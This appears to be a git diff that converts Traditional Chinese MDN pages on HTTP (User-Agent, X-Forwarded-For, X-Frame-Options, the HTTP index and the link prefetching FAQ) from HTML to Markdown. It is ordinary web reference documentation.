+Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36 OPR/38.0.2220.41 +``` + +Opera 在使用 Presto 排版時的用戶代理字串 + +```plain +Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.15 Version/10.00 +Opera/9.60 (Windows NT 6.0; U; en) Presto/2.1.1 +``` + +## Safari 用戶代理字串 + +此例的 safari 用戶代理字串是攜帶版,所以會出現「Mobile」一詞。 + +### 示例 + +```plain +Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 +``` + +## Internet Explorer 用戶代理字串 + +### 示例 + +```plain +Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0) +``` + +## 網路爬蟲與機器人的用戶代理字串 + +### 示例 + +```plain +Googlebot/2.1 (+http://www.google.com/bot.html) +``` + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat("http.headers.User-Agent")}} + +## 參閱 + +- [User-Agent detection, history and checklist](https://hacks.mozilla.org/2013/09/user-agent-detection-history-and-checklist/) +- [Firefox 用戶代理字串參考](/zh-TW/docs/Web/HTTP/Headers/User-Agent/Firefox) +- [透過用戶代理偵測瀏覽器](/zh-TW/docs/Web/HTTP/Browser_detection_using_the_user_agent) diff --git a/files/zh-tw/web/http/headers/x-forwarded-for/index.html b/files/zh-tw/web/http/headers/x-forwarded-for/index.html deleted file mode 100644 index 546a4ed60c2259..00000000000000 --- a/files/zh-tw/web/http/headers/x-forwarded-for/index.html +++ /dev/null @@ -1,74 +0,0 @@ ---- -title: X-Forwarded-For -slug: Web/HTTP/Headers/X-Forwarded-For -translation_of: Web/HTTP/Headers/X-Forwarded-For ---- -
{{HTTPSidebar}}
- -

X-Forwarded-For (XFF) 標頭是辨識用戶端透過 HTTP 代理或負載平衡 IP 位置來源的,事實上的標準。如果流量是在伺服器與用戶端中間擷取,伺服器日誌就只會代理或負載平衡的 IP 位置。如果要檢查用戶端的 IP 的原始來源,就會去檢查 X-Forwarded-For 請求標頭。

- -

這個標頭用於除錯、分析、產生與位置相關的內容、透過設計也洩漏部分隱私資訊,例如用戶端的 IP 位置。因此在部署此標頭時,必須考慮到用戶的隱私。

- -

此 HTTP 標頭的標準化版本為 {{HTTPHeader("Forwarded")}} 標頭。

- -

X-Forwarded-For 也是個說明 email-message 是從哪個帳戶轉發的 email-header。

- - - - - - - - - - - - -
標頭屬性{{Glossary("Request header")}}
{{Glossary("Forbidden header name")}}no
- -

語法

- -
X-Forwarded-For: <client>, <proxy1>, <proxy2>
-
- -

指令

- -
-
<client>
-
用戶端的 IP 位置
-
<proxy1>, <proxy2>
-
如果請求用上了多個代理,則列出每個後續代理的 IP 地址。也就是說,最右邊的 IP 位置,是最新代理的 IP 位置;最左邊的 IP 位置,是用戶端原始來源的 IP 位置。
-
- -

示例

- -
X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348
-
-X-Forwarded-For: 203.0.113.195
-
-X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178
-
- -

其他非標準變體:

- -
# Used for some Google services
-X-ProxyUser-Ip: 203.0.113.19
- -

規範

- -

任何版本都沒有被標準化。標準化版本的標頭為 {{HTTPHeader("Forwarded")}}。

- -

瀏覽器相容性

- - - -

{{Compat("http.headers.X-Forwarded-For")}}

- -

參見

- -
    -
  • {{HTTPHeader("Forwarded")}}
  • -
  • {{HTTPHeader("X-Forwarded-Host")}}
  • -
  • {{HTTPHeader("X-Forwarded-Proto")}}
  • -
  • {{HTTPHeader("Via")}}
  • -
diff --git a/files/zh-tw/web/http/headers/x-forwarded-for/index.md b/files/zh-tw/web/http/headers/x-forwarded-for/index.md new file mode 100644 index 00000000000000..8d75cb63b6df4f --- /dev/null +++ b/files/zh-tw/web/http/headers/x-forwarded-for/index.md @@ -0,0 +1,63 @@ +--- +title: X-Forwarded-For +slug: Web/HTTP/Headers/X-Forwarded-For +translation_of: Web/HTTP/Headers/X-Forwarded-For +--- +{{HTTPSidebar}} + +**`X-Forwarded-For`** (XFF) 標頭是辨識用戶端透過 HTTP 代理或負載平衡 IP 位置來源的,事實上的標準。如果流量是在伺服器與用戶端中間擷取,伺服器日誌就只會代理或負載平衡的 IP 位置。如果要檢查用戶端的 IP 的原始來源,就會去檢查 `X-Forwarded-For` 請求標頭。 + +這個標頭用於除錯、分析、產生與位置相關的內容、透過設計也洩漏部分隱私資訊,例如用戶端的 IP 位置。因此在部署此標頭時,必須考慮到用戶的隱私。 + +此 HTTP 標頭的標準化版本為 {{HTTPHeader("Forwarded")}} 標頭。 + +`X-Forwarded-For` 也是個說明 email-message 是從哪個帳戶轉發的 email-header。 + +| 標頭屬性 | {{Glossary("Request header")}} | +| ------------------------------------------------ | ---------------------------------------- | +| {{Glossary("Forbidden header name")}} | no | + +## 語法 + +```plain +X-Forwarded-For: , , +``` + +## 指令 + +- \ + - : 用戶端的 IP 位置 +- \, \ + - : 如果請求用上了多個代理,則列出每個後續代理的 IP 地址。也就是說,最右邊的 IP 位置,是最新代理的 IP 位置;最左邊的 IP 位置,是用戶端原始來源的 IP 位置。 + +## 示例 + +```plain +X-Forwarded-For: 2001:db8:85a3:8d3:1319:8a2e:370:7348 + +X-Forwarded-For: 203.0.113.195 + +X-Forwarded-For: 203.0.113.195, 70.41.3.18, 150.172.238.178 +``` + +其他非標準變體: + +```plain +# Used for some Google services +X-ProxyUser-Ip: 203.0.113.19 +``` + +## 規範 + +任何版本都沒有被標準化。標準化版本的標頭為 {{HTTPHeader("Forwarded")}}。 + +## 瀏覽器相容性 + +{{Compat("http.headers.X-Forwarded-For")}} + +## 參見 + +- {{HTTPHeader("Forwarded")}} +- {{HTTPHeader("X-Forwarded-Host")}} +- {{HTTPHeader("X-Forwarded-Proto")}} +- {{HTTPHeader("Via")}} diff --git a/files/zh-tw/web/http/headers/x-frame-options/index.html b/files/zh-tw/web/http/headers/x-frame-options/index.html deleted file mode 100644 index d458e2ba5fb99e..00000000000000 --- a/files/zh-tw/web/http/headers/x-frame-options/index.html +++ /dev/null @@ -1,86 +0,0 @@ ---- -title: X-Frame-Options 回應標頭 -slug: Web/HTTP/Headers/X-Frame-Options -translation_of: Web/HTTP/Headers/X-Frame-Options ---- -{{HTTPSidebar}} - -

X-Frame-Options HTTP 回應標頭 (header) 用來指示文件是否能夠透過 {{ HTMLElement("frame") }}、{{ HTMLElement("iframe") }} 以及 {{ HTMLElement("object") }} 載入。網站可以利用 X-Frame-Options 來確保本身內容不會遭惡意嵌入到其他網站、避免 clickjacking 攻擊。

- -

僅當訪問文件的用戶使用支持 X-Frame-Options 的瀏覽器時,才提供附加的安全性。

- -
-

Note: 在支援的瀏覽器中,{{HTTPHeader("Content-Security-Policy")}} 的 {{HTTPHeader("Content-Security-Policy/frame-ancestors", "frame-ancestors")}} 指令標準已經取代了非標準的 X-Frame-Options

-
- -

使用 X-Frame-Options

- -

共有三種值:

- -
-
DENY
-
表示網頁無論如何都無法被嵌入到 frame 中,即使於相同網域內嵌入也不允許。
-
SAMEORIGIN
-
唯有當符合同源政策下,才能被嵌入到 frame 中。
-
ALLOW-FROM uri {{deprecated_inline}}
-
唯有列表許可的 URI 才能嵌入到 frame 中。新版瀏覽器已不再支援此指令。
-
- -

設定 Apache

- -

請加入以下指令到網站組態設定檔:

- -
Header always append X-Frame-Options SAMEORIGIN
-
- -

設定 nginx

- -

請加入以下指令到 http, server 或 location 組態設定檔:

- -
add_header X-Frame-Options SAMEORIGIN;
-
- -

設定 IIS

- -

請加入以下指令到網站的 Web.config 檔:

- -
<system.webServer>
-  ...
-
-  <httpProtocol>
-    <customHeaders>
-      <add name="X-Frame-Options" value="SAMEORIGIN" />
-    </customHeaders>
-  </httpProtocol>
-
-  ...
-</system.webServer>
-
- -

設定 HAProxy

- -

請加入以下指令到 frontend, listen, 或 backend 組態設定檔:

- -
rspadd X-Frame-Options:\ SAMEORIGIN
-
- -
-

Note: 設定 Meta tag 是無效的,像是 <meta http-equiv="X-Frame-Options" content="deny"> 便沒有任何效果,只有透過設定 HTTP header 才有效果,請勿採用。

-
- -

規範

- -{{Specifications}} - -

瀏覽器相容性

- -{{Compat}} - -

延伸閱讀

- - diff --git a/files/zh-tw/web/http/headers/x-frame-options/index.md b/files/zh-tw/web/http/headers/x-frame-options/index.md new file mode 100644 index 00000000000000..9db5ec00c0af03 --- /dev/null +++ b/files/zh-tw/web/http/headers/x-frame-options/index.md @@ -0,0 +1,82 @@ +--- +title: X-Frame-Options 回應標頭 +slug: Web/HTTP/Headers/X-Frame-Options +translation_of: Web/HTTP/Headers/X-Frame-Options +--- +{{HTTPSidebar}} + +`X-Frame-Options` [HTTP](/zh-TW/docs/Web/HTTP) 回應標頭 (header) 用來指示文件是否能夠透過 {{ HTMLElement("frame") }}、{{ HTMLElement("iframe") }} 以及 {{ HTMLElement("object") }} 載入。網站可以利用 `X-Frame-Options` 來確保本身內容不會遭惡意嵌入到其他網站、避免 [clickjacking](/zh-TW/docs/Web/Security/Types_of_attacks#click-jacking) 攻擊。 + +僅當訪問文件的用戶使用支持 `X-Frame-Options` 的瀏覽器時,才提供附加的安全性。 + +> **備註:** 在支援的瀏覽器中,{{HTTPHeader("Content-Security-Policy")}} 的 {{HTTPHeader("Content-Security-Policy/frame-ancestors", "frame-ancestors")}} 指令標準已經[取代](https://www.w3.org/TR/CSP2/#frame-ancestors-and-frame-options)了非標準的 `X-Frame-Options`。 + +## 使用 X-Frame-Options + +共有三種值: + +- `DENY` + - : 表示網頁無論如何都無法被嵌入到 frame 中,即使於相同網域內嵌入也不允許。 +- `SAMEORIGIN` + - : 唯有當符合[同源政策](/zh-TW/docs/Web/Security/Same-origin_policy)下,才能被嵌入到 frame 中。 +- `ALLOW-FROM uri` {{deprecated_inline}} + - : 唯有列表許可的 URI 才能嵌入到 frame 中。新版瀏覽器已不再支援此指令。 + +### 設定 Apache + +請加入以下指令到網站組態設定檔: + +```plain +Header always append X-Frame-Options SAMEORIGIN +``` + +### 設定 nginx + +請加入以下指令到 http, server 或 location 組態設定檔: + +```plain +add_header X-Frame-Options SAMEORIGIN; +``` + +### 設定 IIS + +請加入以下指令到網站的 Web.config 檔: + +```plain + + ... + + + + + + + + ... + +``` + +### 設定 HAProxy + +請加入以下指令到 frontend, listen, 或 backend 組態設定檔: + +```plain +rspadd X-Frame-Options:\ SAMEORIGIN +``` + +> **備註:** 設定 Meta tag 是無效的,像是 \ 便沒有任何效果,只有透過設定 HTTP header 才有效果,請勿採用。 + +## 規範 + +{{Specifications}} + +## 瀏覽器相容性 + +{{Compat}} + +## 延伸閱讀 + +- {{HTTPHeader("Content-Security-Policy")}} 的 {{HTTPHeader("Content-Security-Policy/frame-ancestors", "frame-ancestors")}} 指令 +- [HTTP Header Field X-Frame-Options - RFC 7034](https://datatracker.ietf.org/doc/html/rfc7034) +- [ClickJacking Defenses - IEBlog](https://docs.microsoft.com/archive/blogs/ie/ie8-security-part-vii-clickjacking-defenses) +- [Combating ClickJacking with X-Frame-Options - IEInternals](https://docs.microsoft.com/archive/blogs/ieinternals/combating-clickjacking-with-x-frame-options) diff --git a/files/zh-tw/web/http/index.html b/files/zh-tw/web/http/index.html deleted file mode 100644 index a9edc90527579e..00000000000000 --- a/files/zh-tw/web/http/index.html +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: HTTP -slug: Web/HTTP -tags: - - HTTP - - NeedsTranslation -translation_of: Web/HTTP ---- -
{{HTTPSidebar}}
- -

超文本傳輸協定 (HTTP) 是一種用來傳輸超媒體文件 (像是HTML文件) 的應用層協定,被設計來讓瀏覽器和伺服器進行溝通,但也可做其他用途。HTTP 遵循標準客戶端—伺服器模式,由客戶端連線以發送請求,然後等待接收回應。HTTP 是一種無狀態協定,意思是伺服器不會保存任兩個請求間的任何資料 (狀態)。儘管作為 TCP/IP 的應用層,HTTP 亦可應用於其他可靠的傳輸層 (例如 UDP),只要不會無聲無息地遺失訊息即可。

- -
-
-

教學

- -

學習如何使用HTTP的指南和教程。

- -
-
HTTP的概觀
-
基本特性:它能做什麼與它的用途
-
HTTP Cache
-
Cache對網站速度很重要。 此文章描敘不同的方法使用HTTP Header控制它。
-
HTTP Cookies
-
RFC 6265 定義了cookies的工作方式,當HTTP請求一個服務時,一個伺服器可以發送一個Set-Cookie的HTTP header回應。客戶端將以header的方式回傳cookie值給每個請求的同 一個伺服器,Cookie也會在某些時間進行更新,或是限制一個實體網域或路徑。
-
HTTP Access Control (CORS)
-
Cross-site HTTP requests 是來自不同網域的資源請求。舉個例子,一個HTML網頁從網域A (http://domaina.example/) 從網域B(http://domainb.foo/image.jpg)請求一個圖片,經由img元件。現今的網頁通常會讀取跨站資源,包括CSS樣式表、圖片、腳本與其他資源。CORS允許網頁開發人員的網站響應跨站讀取。
-
- -
-
HTTP的演化
-
HTTP早期版本變化的簡要說明,到現在的HTTP/2與其他版本。
-
網頁安全方針
-
一些技巧幫助運作團隊開發安全的網頁。
-
- -
-
HTTP 訊息
-
描述HTTP/1與HTTP/2不同類別與結構。
-
一個典型HTTP對話
-
顯示並解釋HTTP的通常對話流程。
-
HTTP/1.x的連接管理
-
描述在HTTP/1.x中可用的三種連接管理。
-
-
- -
-

參考

- -

詳細的HTTP參考文件。

- -
-
HTTP Headers
-
HTTP message headers are used to describe a resource, or the behavior of the server or the client. Custom proprietary headers can be added using the X- prefix; others in an IANA registry, whose original content was defined in RFC 4229. IANA also maintains a registry of proposed new HTTP message headers.
-
HTTP 請求方法
-
透過 HTTP 有幾種不同操作方法:{{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, and also less common requests like {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, or {{HTTPMethod("TRACE")}}.
-
HTTP 狀態回應碼
-
HTTP response codes indicate whether a specific HTTP request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirections, client errors, and servers errors.
-
- -
-
CSP directives
-
The {{HTTPHeader("Content-Security-Policy")}} response header fields allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints.
-
- -

工具與資源

- -

Helpful tools and resources for understanding and debugging HTTP.

- -
-
Firefox Developer Tools
-
Network monitor
-
Mozilla Observatory
-
-

A project designed to help developers, system administrators, and security professionals configure their sites safely and securely.

-
-
RedBot
-
Tools to check your cache-related headers
-
How Browsers Work
-
A very comprehensive article on browser internals and request flow through HTTP protocol. A MUST-READ for any web developer.
-
-
-
diff --git a/files/zh-tw/web/http/index.md b/files/zh-tw/web/http/index.md new file mode 100644 index 00000000000000..4aa2aad2f47899 --- /dev/null +++ b/files/zh-tw/web/http/index.md @@ -0,0 +1,60 @@ +--- +title: HTTP +slug: Web/HTTP +tags: + - HTTP + - NeedsTranslation +translation_of: Web/HTTP +--- +{{HTTPSidebar}} + +**超文本傳輸協定* (HTTP)*** 是一種用來傳輸超媒體文件 (像是 HTML 文件) 的[應用層](http://en.wikipedia.org/wiki/Application_Layer)協定,被設計來讓瀏覽器和伺服器進行溝通,但也可做其他用途。HTTP 遵循標準[客戶端—伺服器](https://en.wikipedia.org/wiki/Client%E2%80%93server_model)模式,由客戶端連線以發送請求,然後等待接收回應。HTTP 是一種[無狀態協定](https://en.wikipedia.org/wiki/Stateless_protocol),意思是伺服器不會保存任兩個請求間的任何資料 (狀態)。儘管作為 TCP/IP 的應用層,HTTP 亦可應用於其他可靠的[傳輸層](http://en.wikipedia.org/wiki/Transport_Layer) (例如 [UDP](https://en.wikipedia.org/wiki/User_Datagram_Protocol)),只要不會無聲無息地遺失訊息即可。 + +## 教學 + +學習如何使用 HTTP 的指南和教程。 + +- [HTTP 的概觀](/zh-TW/docs/Web/HTTP/Overview) + - : 基本特性:它能做什麼與它的用途 +- [HTTP Cache](/zh-TW/docs/Web/HTTP/Caching) + - : Cache 對網站速度很重要。 此文章描敘不同的方法使用 HTTP Header 控制它。 +- [HTTP Cookies](/zh-TW/docs/Web/HTTP/Cookies) + - : [RFC 6265](http://tools.ietf.org/html/rfc6265) 定義了 cookies 的工作方式,當 HTTP 請求一個服務時,一個伺服器可以發送一個`Set-Cookie`的 HTTP header 回應。客戶端將以 header 的方式回傳 cookie 值給每個請求的同 一個伺服器,Cookie 也會在某些時間進行更新,或是限制一個實體網域或路徑。 +- [HTTP Access Control (CORS)](/zh-TW/docs/Web/HTTP/Access_control_CORS) + - : **Cross-site HTTP requests** 是來自不同網域的資源請求。舉個例子,一個 HTML 網頁從網域 A (`http://domaina.example/`) 從網域 B(`http://domainb.foo/image.jpg`)請求一個圖片,經由`img`元件。現今的網頁通常會讀取跨站資源,包括 CSS 樣式表、圖片、腳本與其他資源。CORS 允許網頁開發人員的網站響應跨站讀取。 +- [HTTP 的演化](/zh-TW/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP) + - : HTTP 早期版本變化的簡要說明,到現在的 HTTP/2 與其他版本。 +- [網頁安全方針](https://wiki.mozilla.org/Security/Guidelines/Web_Security) + - : 一些技巧幫助運作團隊開發安全的網頁。 +- [HTTP 訊息](/zh-TW/docs/Web/HTTP/Messages) + - : 描述 HTTP/1 與 HTTP/2 不同類別與結構。 +- [一個典型 HTTP 對話](/zh-TW/docs/Web/HTTP/Session) + - : 顯示並解釋 HTTP 的通常對話流程。 +- [HTTP/1.x 的連接管理](/zh-TW/docs/Web/HTTP/Connection_management_in_HTTP_1.x) + - : 描述在 HTTP/1.x 中可用的三種連接管理。 + +## 參考 + +詳細的 HTTP 參考文件。 + +- [HTTP Headers](/zh-TW/docs/Web/HTTP/Headers) + - : HTTP message headers are used to describe a resource, or the behavior of the server or the client. Custom proprietary headers can be added using the `X-` prefix; others in an [IANA registry](http://www.iana.org/assignments/message-headers/perm-headers.html), whose original content was defined in [RFC 4229](http://tools.ietf.org/html/rfc4229). IANA also maintains a [registry of proposed new HTTP message headers](http://www.iana.org/assignments/message-headers/prov-headers.html). +- [HTTP 請求方法](/zh-TW/docs/Web/HTTP/Methods) + - : 透過 HTTP 有幾種不同操作方法:{{HTTPMethod("GET")}}, {{HTTPMethod("POST")}}, and also less common requests like {{HTTPMethod("OPTIONS")}}, {{HTTPMethod("DELETE")}}, or {{HTTPMethod("TRACE")}}. +- [HTTP 狀態回應碼](/zh-TW/docs/Web/HTTP/Response_codes) + - : HTTP response codes indicate whether a specific HTTP request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirections, client errors, and servers errors. +- [CSP directives](/zh-TW/docs/Web/HTTP/Headers/Content-Security-Policy) + - : The {{HTTPHeader("Content-Security-Policy")}} response header fields allows web site administrators to control resources the user agent is allowed to load for a given page. With a few exceptions, policies mostly involve specifying server origins and script endpoints. + +## 工具與資源 + +Helpful tools and resources for understanding and debugging HTTP. + +- [Firefox Developer Tools](/zh-TW/docs/Tools) + - : [Network monitor](/zh-TW/docs/Tools/Network_Monitor) +- [Mozilla Observatory](https://observatory.mozilla.org/) + - : A project designed to help developers, system administrators, and security professionals configure their sites safely and securely. +- [RedBot](https://redbot.org/) + - : Tools to check your cache-related headers +- [How Browsers Work](http://www.html5rocks.com/en/tutorials/internals/howbrowserswork/) + - : A very comprehensive article on browser internals and request flow through HTTP protocol. A MUST-READ for any web developer. diff --git a/files/zh-tw/web/http/link_prefetching_faq/index.html b/files/zh-tw/web/http/link_prefetching_faq/index.html deleted file mode 100644 index 8198c0a056f03f..00000000000000 --- a/files/zh-tw/web/http/link_prefetching_faq/index.html +++ /dev/null @@ -1,121 +0,0 @@ ---- -title: 預先取回連結 (Prefetch) 問答集 -slug: Web/HTTP/Link_prefetching_FAQ -translation_of: Web/HTTP/Link_prefetching_FAQ ---- - - -

預先取回連結 (Prefetch) 是一項瀏覽器機制;這項機制利用瀏覽器閒置時間,預先下載取回使用者稍後可能造訪的網頁資源。只要網頁告訴瀏覽器哪些資源可以預先取回,當瀏覽完成當下網頁載入工作後,瀏覽器便會在背景預先取回這些資源,並且存入快取之中,然後當使用者造訪預先取回的網頁時,網頁便可以快速地從快取中取出載入。

- -

能在HTTPS執行預先取回嗎 ?

- -

從 Gecko 1.9.1 (Firefox 3.5), HTTPS 內容也能被預先取回。

- -

如何告訴瀏覽器預先取回資源 ?

- -

透過 HTML {{ HTMLElement("link") }} 或 HTTP Link: 標頭 (header) 便可以告訴瀏覽器哪些資源可以預先取回,範例如下:

- -

利用 Link 元素

- -
<link rel="prefetch" href="/images/big.jpeg">
-
- -

利用 HTTP Link: header:

- -
Link: </images/big.jpeg>; rel=prefetch
-
- -

利用 meta 元素代表 Link: header :

- -
<meta http-equiv="Link" content="</images/big.jpeg>; rel=prefetch">
-
- -

Link: header 的格式請參閱 RFC 5988 section 5。

- -

可以指定多個預先取回資源,當瀏覽器閒置時,就會開始預先取回這些資源,例如:

- -
<link rel="prefetch alternate stylesheet" title="Designed for Mozilla" href="mozspecific.css">
-<link rel="next" href="2.html">
-
- -

<a> 元素能被預先取回嗎 ?

- -

不行。目前只有 rel 屬性為 prefetch 的 link 元素 (或標頭) 所標示的資源能被預先取回。

- - - -

預先取回並沒有違反標準規範;事實上 HTML 4.01 允許新定義的 rel 型態 (see Section 6.12: Link types),只是 Mozilla 現在的機制還在 HTML5 標準化草稿作業中,請見 HTML5 標準: Link type "prefetch" .

- -

如何判定瀏覽器是否閒置 ?

- -

目前 (Mozilla 1.2) 主要是透過 nsIWebProgressListener API,向上層 nsIWebProgress 物件 ("@mozilla.org/docloaderservice;1") 註冊一個事件處理器;藉由此得知文件開啟和停止通知,所謂的閒置時間就是介於最後一個停止通知和下一個開始通知之間,而最後一個停止通知大約發生在 onLoad 事件觸發,由此瀏覽器開始預先取回各項資源。如果 frame 有指定需要預先取回的資源,那麼當最上層 frame 和其底下所有子 frame 的完成載入後,預先取回作業才會啟動。

- - - -

一但有連結點擊或網頁載入觸發,預先取回作業會立刻中止;倘若預先取回作業執行到一半的連結資源恰巧就是被點擊的連結,如果伺服器回應標頭有表明 "Accept-Ranges: bytes" ,那麼剩下的資源就會透過 HTTP byte-range 請求取回。

- - - -

不一定。Firefox 會先暫停預先取回作業直到背景下載任務結束,但如果是使用其他軟體下載檔案,那麼 Firefox 的預先取回作業並不會停止,未來 Firefox 計畫加入偵測作業系統的網路閒置時間 。

- -

預先取回有限制嗎 ?

- -

有。只有 http:// (and, starting in {{ Gecko("1.9.1") }} https://) URLs 能被預先取回,其它如 FTP 則無法。

- -

Mozilla 會預先取回不同網域的文件嗎 ?

- -

會,因為預先取回並沒有 same-origin (同源政策) 的限制,同源限定並不會加強瀏覽器安全性。

- -

預先取回請求帶有 Referer: header 嗎 ?

- -

有,預先取回帶有 HTTP Referer: header 表明那份文件發起預先取回請求。

- -

這或許會對追蹤 referer (參照位址) 造成影響,所以預先取回可能不適用於所有資源,不過還是可以利用 Cache-control: must-revalidate HTTP 回應標頭,要求 Firefox 造訪預先取回的網頁,這個標頭允許快取,但是取用快取前需要先經過 If-Modified-SinceIf-None-Match 宴請求。

- -

如何分辨來自一般和預先取回的請求 ?

- -

Firefox 對每一個預先取回請求都會附帶如下標頭:

- -
X-moz: prefetch
- -

請注意這標頭並非標準之一,未來也有可能變更。

- - - -

透過 about:config,或是在 profile 目錄底下的 prefs.js 檔內加入以下程式碼。

- -
user_pref("network.prefetch-next", false);
-
- -

對頻寬使用量付費的使用者的影響

- -

基本上可以分成兩個層面來看:第一、原本就可以利用 JS/DOM 來進行預先下載;第二、預先取回算是瀏覽器功能,應該要能夠讓使用者關閉。

- -

利用 <link> 而非 JS/DOM 的特殊做法來預先取回資源比較好,因為瀏覽器可以做較佳的優先取回排序。另外預設開啟預先取回功能也是希望鼓勵網頁不要採用這類自行撰寫的 JS/DOM 做法。

- - - -

Firefox 和 Netscape 7.01+。 測試瀏覽器是否支援預先取回功能。

- -

隱私權議題

- -

預先取回會導致被取回網頁的 cookie 也一併被預先取回,例如搜尋 amazon,google 搜尋網頁會預先取回 www.amazon.com 網頁及其 cookie,如果想要阻擋第三方 cookie ,請參閱 Disabling third party cookies

- -

還有... ?What about...?

- -

若是還有其他有關預先取回的問題,請不要客氣直接發問 :-)

- -

延伸閱讀

- -

Prefetching Hints

- -
-

Original Document Information

- -
    -
  • Author(s): Darin Fisher (darin at meer dot net)
  • -
  • Last Updated Date: Updated: March 3, 2003
  • -
-
- -

diff --git a/files/zh-tw/web/http/link_prefetching_faq/index.md b/files/zh-tw/web/http/link_prefetching_faq/index.md new file mode 100644 index 00000000000000..67e8d58e47e104 --- /dev/null +++ b/files/zh-tw/web/http/link_prefetching_faq/index.md @@ -0,0 +1,117 @@ +--- +title: 預先取回連結 (Prefetch) 問答集 +slug: Web/HTTP/Link_prefetching_FAQ +translation_of: Web/HTTP/Link_prefetching_FAQ +--- +### 何謂預先取回連結 ? + +預先取回連結 (Prefetch) 是一項瀏覽器機制;這項機制利用瀏覽器閒置時間,預先下載取回使用者稍後可能造訪的網頁資源。只要網頁告訴瀏覽器哪些資源可以預先取回,當瀏覽完成當下網頁載入工作後,瀏覽器便會在背景預先取回這些資源,並且存入快取之中,然後當使用者造訪預先取回的網頁時,網頁便可以快速地從快取中取出載入。 + +### 能在 HTTPS 執行預先取回嗎 ? + +從 Gecko 1.9.1 (Firefox 3.5), HTTPS 內容也能被預先取回。 + +### 如何告訴瀏覽器預先取回資源 ? + +透過 HTML {{ HTMLElement("link") }} 或 [HTTP](/en/HTTP) `Link:` 標頭 (header) 便可以告訴瀏覽器哪些資源可以預先取回,範例如下: + +利用 Link 元素 + +```plain + +``` + +利用 HTTP `Link:` header: + +```plain +Link: ; rel=prefetch +``` + +利用 meta 元素代表 Link: header : + +```plain + +``` + +`Link:` header 的格式請參閱 [RFC 5988](http://tools.ietf.org/html/rfc5988) section 5。 + +可以指定多個預先取回資源,當瀏覽器閒置時,就會開始預先取回這些資源,例如: + +```plain + + +``` + +### \ 元素能被預先取回嗎 ? + +不行。目前只有 rel 屬性為 prefetch 的 link 元素 (或標頭) 所標示的資源能被預先取回。 + +### 預先取回 (Prefetch) 符合標準嗎 ? + +預先取回並沒有違反標準規範;事實上 HTML 4.01 允許新定義的 rel 型態 ([see Section 6.12: Link types](http://www.w3.org/TR/html4/types.html#type-links)),只是 Mozilla 現在的機制還在 HTML5 標準化草稿作業中,請見 HTML5 標準:[ Link type "prefetch"](http://www.whatwg.org/specs/web-apps/current-work/#link-type-prefetch) . + +### 如何判定瀏覽器是否閒置 ? + +目前 (Mozilla 1.2) 主要是透過 `nsIWebProgressListener` API,向上層 `nsIWebProgress` 物件 ("@[mozilla.org/docloaderservice;1](http://mozilla.org/docloaderservice;1)") 註冊一個事件處理器;藉由此得知文件開啟和停止通知,所謂的閒置時間就是介於最後一個停止通知和下一個開始通知之間,而最後一個停止通知大約發生在 onLoad 事件觸發,由此瀏覽器開始預先取回各項資源。如果 frame 有指定需要預先取回的資源,那麼當最上層 frame 和其底下所有子 frame 的完成載入後,預先取回作業才會啟動。 + +### 當預先取回執行中有連結被點擊時會如何 ? + +一但有連結點擊或網頁載入觸發,預先取回作業會立刻中止;倘若預先取回作業執行到一半的連結資源恰巧就是被點擊的連結,如果伺服器回應標頭有表明 "Accept-Ranges: bytes" ,那麼剩下的資源就會透過 HTTP byte-range 請求取回。 + +### 當在背景下載檔案,預先取回作業會佔用頻寬嗎 ? + +不一定。Firefox 會先暫停預先取回作業直到背景下載任務結束,但如果是使用其他軟體下載檔案,那麼 Firefox 的預先取回作業並不會停止,未來 Firefox 計畫加入偵測作業系統的網路閒置時間 。 + +### 預先取回有限制嗎 ? + +有。只有 http\:// (and, starting in {{ Gecko("1.9.1") }} https\://) URLs 能被預先取回,其它如 FTP 則無法。 + +### Mozilla 會預先取回不同網域的文件嗎 ? + +會,因為預先取回並沒有 same-origin (同源政策) 的限制,同源限定並不會加強瀏覽器安全性。 + +### 預先取回請求帶有 Referer: header 嗎 ? + +有,預先取回帶有 HTTP `Referer:` header 表明那份文件發起預先取回請求。 + +這或許會對追蹤 referer (參照位址) 造成影響,所以預先取回可能不適用於所有資源,不過還是可以利用 `Cache-control: must-revalidate` HTTP 回應標頭,要求 Firefox 造訪預先取回的網頁,這個標頭允許快取,但是取用快取前需要先經過 `If-Modified-Since` 或 `If-None-Match` 宴請求。 + +### 如何分辨來自一般和預先取回的請求 ? + +Firefox 對每一個預先取回請求都會附帶如下標頭: + +```plain +X-moz: prefetch +``` + +請注意這標頭並非標準之一,未來也有可能變更。 + +### 可以從偏好設定裡關閉預先取回嗎 ? + +透過 [about:config](/about:config),或是在 profile 目錄底下的 prefs.js 檔內加入以下程式碼。 + +```plain +user_pref("network.prefetch-next", false); +``` + +### 對頻寬使用量付費的使用者的影響 + +基本上可以分成兩個層面來看:第一、原本就可以利用 JS/DOM 來進行預先下載;第二、預先取回算是瀏覽器功能,應該要能夠讓使用者關閉。 + +利用 `` 而非 JS/DOM 的特殊做法來預先取回資源比較好,因為瀏覽器可以做較佳的優先取回排序。另外預設開啟預先取回功能也是希望鼓勵網頁不要採用這類自行撰寫的 JS/DOM 做法。 + +### 那些瀏覽器支援預先取回 ? + +Firefox 和 Netscape 7.01+。 [測試](http://gemal.dk/browserspy/prefetch.php)瀏覽器是否支援預先取回功能。 + +### 隱私權議題 + +預先取回會導致被取回網頁的 cookie 也一併被預先取回,例如搜尋 amazon,google 搜尋網頁會預先取回 [www.amazon.com](http://www.amazon.com) 網頁及其 cookie,如果想要阻擋第三方 cookie ,請參閱 [Disabling third party cookies](http://support.mozilla.com/en-US/kb/Disabling%20third%20party%20cookies)。 + +### 還有... ?What about...? + 